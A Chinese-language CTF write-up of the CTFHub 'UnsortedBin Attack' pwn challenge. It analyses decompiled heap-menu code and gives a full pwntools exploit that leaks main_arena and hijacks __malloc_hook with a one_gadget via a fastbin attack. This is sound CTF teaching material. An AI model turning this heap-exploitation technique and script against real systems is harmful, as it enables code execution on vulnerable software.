-
-
[原创][writeup]CTFHUB-UnsortedBin Attack
-
2023-3-13 17:01 2608
-
目录
程序分析
IDA静态分析
伪代码分析
main()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | int __cdecl __noreturn main( int argc, const char * * argv, const char * * envp) { init(argc, argv, envp); interface(); } void __noreturn interface() { int choice; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v1; / / [rsp + 8h ] [rbp - 8h ] v1 = __readfsqword( 0x28u ); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf( "%d" , &choice); if ( choice ! = 1 ) break ; add(); } switch ( choice ) { case 2 : delete(); break ; case 3 : show(); break ; case 4 : edit(); break ; case 1024 : if ( magic > 28800 ) system( "/bin/sh" ); break ; default: exit( - 1 ); } } } |
add()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | unsigned __int64 add() { unsigned int inputSize; / / [rsp + 4h ] [rbp - 101Ch ] BYREF unsigned int index; / / [rsp + 8h ] [rbp - 1018h ] unsigned int v3; / / [rsp + Ch] [rbp - 1014h ] char v4[ 4096 ]; / / [rsp + 10h ] [rbp - 1010h ] BYREF unsigned __int64 v5; / / [rsp + 1018h ] [rbp - 8h ] v5 = __readfsqword( 0x28u ); memset(v4, 0 , sizeof(v4)); for ( index = 0 ; index < = 9 ; + + index ) { if ( ! * (&heapList + index) ) { v3 = index; break ; } } if ( index = = 11 ) { puts( "wrong" ); exit( 0 ); } puts( "Size: " ); __isoc99_scanf( "%d" , &inputSize); if ( inputSize > 0x500 ) inputSize = 1280 ; * (&heapList + v3) = malloc(inputSize); Size[v3] = inputSize; puts( "Content: " ); read( 0 , * (&heapList + v3), inputSize); return __readfsqword( 0x28u ) ^ v5; } |
delete()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | unsigned __int64 delete() { unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v2; / / [rsp + 8h ] [rbp - 8h ] v2 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); if ( index > 0xB ) { puts( "wrong" ); exit( 0 ); } free( * (&heapList + index)); * (&heapList + index) = 0LL ; Size[index] = 0 ; return __readfsqword( 0x28u ) ^ v2; } |
show()函数
1 2 3 4 5 6 7 8 9 10 11 12 | unsigned __int64 show() { unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v2; / / [rsp + 8h ] [rbp - 8h ] v2 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); if ( * (&heapList + index) ) printf( "Content: %s\n" , (const char * ) * (&heapList + index)); return __readfsqword( 0x28u ) ^ v2; } |
edit()函数【利用点-堆溢出】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | unsigned __int64 edit() { int nbytes; / / [rsp + 0h ] [rbp - 10h ] BYREF unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); puts( "Size:" ); __isoc99_scanf( "%d" , &nbytes); if ( Size[index] > = nbytes ) { if ( * (&heapList + index) ) { puts( "Content:" ); read( 0 , * (&heapList + index), (unsigned int )nbytes); } else { puts( "wrong" ); } } else { puts( "wrong!" ); } return __readfsqword( 0x28u ) ^ v3; } |
GDB调试分析
全局变量上方内存区,我们本次不利用此块内容
1 2 3 4 5 6 7 8 9 10 11 12 13 | pwndbg> x / 30gx 0x6020AC - 0x1f 0x60208d : 0xfff7bc38e0000000 0x000000000000007f 0x60209d : 0xfff7bc4540000000 0x000000000000007f 0x6020ad <magic + 1 >: 0x0000000000000000 0x0000000000000000 0x6020bd : 0x0000000000000000 0x0000000000000000 0x6020cd <ptr + 13 >: 0x0000000000000000 0x0000000000000000 0x6020dd <ptr + 29 >: 0x0000000000000000 0x0000000000000000 0x6020ed <ptr + 45 >: 0x0000000000000000 0x0000000000000000 0x6020fd <ptr + 61 >: 0x0000000000000000 0x0000000000000000 0x60210d <ptr + 77 >: 0x0000000000000000 0x0000000000000000 0x60211d : 0x0000000000000000 0x0000000000000000 0x60212d <Size + 13 >: 0x0000000000000000 0x0000000000000000 0x60213d <Size + 29 >: 0x0000000000000000 0x0000000000000000 |
mallocHook上方内存区
1 2 3 4 5 6 | pwndbg> x / 30gx 0x7ffff7bc3b10 - 0x30 0x7ffff7bc3ae0 <_IO_wide_data_0 + 288 >: 0x0000000000000000 0x0000000000000000 0x7ffff7bc3af0 <_IO_wide_data_0 + 304 >: 0x00007ffff7bc2260 0x0000000000000000 0x7ffff7bc3b00 <__memalign_hook>: 0x00007ffff78853f0 0x00007ffff7884fd0 0x7ffff7bc3b10 <__malloc_hook>: 0x00007ffff7884e00 0x0000000000000000 0x7ffff7bc3b20 <main_arena>: 0x0000000000000000 0x0000000000000000 |
FakeChunk选址
1 2 3 4 5 6 | pwndbg> x / 30gx 0x7ffff7bc3b20 - 0x33 0x7ffff7bc3aed <_IO_wide_data_0 + 301 >: 0xfff7bc2260000000 0x000000000000007f 0x7ffff7bc3afd : 0xfff78853f0000000 0xfff7884fd000007f 0x7ffff7bc3b0d <__realloc_hook + 5 >: 0xfff7884e0000007f 0x000000000000007f 0x7ffff7bc3b1d : 0x0000000000000000 0x0000000000000000 0x7ffff7bc3b2d <main_arena + 13 >: 0x0000000000000000 0x0000000000000000 |
分析总结
虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface
函数中设置magic
这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次
假如不存在全局变量heapList;magic
,目前不知道需要申请FakeChunk
到哪个位置,所以需要使用Unsorted Bin
来泄露main_Arena
的地址
漏洞利用及原理
可利用漏洞
- 整数溢出漏洞
- 堆溢出漏洞
1.UnsortedBin Attack | Leak mainArena
利用思路
根据分析可知:
add()
函数允许用户申请10个不大于0x500
的heapedit()
函数中存在堆溢出漏洞__malloc_hook()
函数位于main_arena-0x10
处__malloc_hook()
函数上方存在可用于构造FakeChunk
的内存区
利用流程
- 申请3块大小为
0x60
的chunk#0 chunk#1 chunk#2
、申请1块大小为0x400
的chunk#3
、再申请一块大小为0x60
的chunk#4
- 释放
chunk#3
使其进入unsorted bin
,此时chunk#3->fd
指向main_arena
- 通过
edit()
函数填充chunk#2
至chunk#3->size
- 使用
show()
函数打印chunk#2
并泄露出main_arena
后计算出__malloc_hook
和LibcBase
- 使用
FastBin Attack
篡改__malloc_hook
使其指向oneGadget
利用原理
当FreeChunk
为unsorted bin
一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk
均指向main_arena+offset
,经过调试得知该offset=88;__malloc_hook = main_arena-0x10
,经过上述分析已知__malloc_hook
上方可构造FakeChunk
以劫持__malloc_hook
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | from pwn import * prog = "./pwn" local = False context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF( "./pwn" ) libc = ELF( "./libc-2.23.so" ) if local: p = process(prog) libc = ELF( "/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6" ) gdb.attach(p) sleep( 1 ) else : p = remote( "challenge-201a3ecdccce276e.sandbox.ctfhub.com" , 29865 ) def add(size): p.sendlineafter( ">> " , "1" ) p.sendlineafter( "Size: \n" , str (size)) p.sendafter( "Content: \n" ,b "\x00" ) def show(index): p.sendlineafter( ">> " , "3" ) p.sendlineafter( "Index:\n" , str (index)) def dele(index): p.sendlineafter( ">> " , "2" ) p.sendlineafter( "Index:\n" , str (index)) def edit(index,content): p.sendlineafter( ">> " , "4" ) p.sendlineafter( "Index:\n" , str (index)) p.sendlineafter( "Size:\n" , "-1" ) p.sendafter( "Content:\n" ,content) fakeChunk = 0x60208d add( 0x60 ) #0 add( 0x60 ) #1 add( 0x60 ) #2 add( 0x400 ) #3 add( 0x60 ) #4 避免chunk#3与topChunk合并 dele( 3 ) payload = b "A" * 0x70 edit( 2 ,payload) show( 2 ) mainArena = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 ,b "\x00" )) print ( "mainArena ===========> {}" . format ( hex (mainArena))) mallocHook = mainArena - 0x10 - 88 libcBase = mallocHook - libc.sym[ '__malloc_hook' ] oneGadGet = 0xf1247 + libcBase fakeChunk = mallocHook - 0x23 #易错点,请勿忽略本操作 payload = b "\x00" * 0x60 payload + = p64( 0 ) payload + = p64( 0x411 ) edit( 2 ,payload) #此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明 #易错点,请勿忽略本操作 #接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》 dele( 2 ) dele( 1 ) payload = b "A" * 0x60 payload + = p64( 0 ) payload + = p64( 0x71 ) payload + = p64(fakeChunk) edit( 0 ,payload) add( 0x60 ) #1 add( 0x60 ) #2 = fakeChunk payload = b "A" * 0x13 payload + = p64(oneGadGet) edit( 2 ,payload) p.interactive() p.close() |
总结
关于通过 Unsorted Bin 泄露地址的补充
本题的重点是通过Unsorted Bin来泄露main_arena
,具体泄露方式需要参照题目的show()
函数运作方式,例如本题是以字符串来输出heap
中内容,我们只需要把内存填充至fd\bk
指针即可
举个其它show()
函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)
该情况下泄露思路如下
- 申请一块
0x60
大小的chunk#0 - 申请一块
0x40
大小的chunk#1 - 申请一块
0x400
大小的chunk#2 - 通过堆溢出篡改chunk#1的size为0x60
- show(1)即可打印出chunk#2的fd和bk
本题易错点
可以注意到在完成泄露准备释放chunk#2 chunk#1
时对chunk#3->heapHeader
进行了一次还原,若不作此操作,将会触发报错
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***
可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)
可以找到触发该报错的函数是_int_free
,以下是触发该报错的检查源码
1 2 3 | fail = (chunksize_nomask (chunk_at_offset (p, size)) < = 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) > = av - >system_mem); __libc_lock_unlock (av - >mutex); |
该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错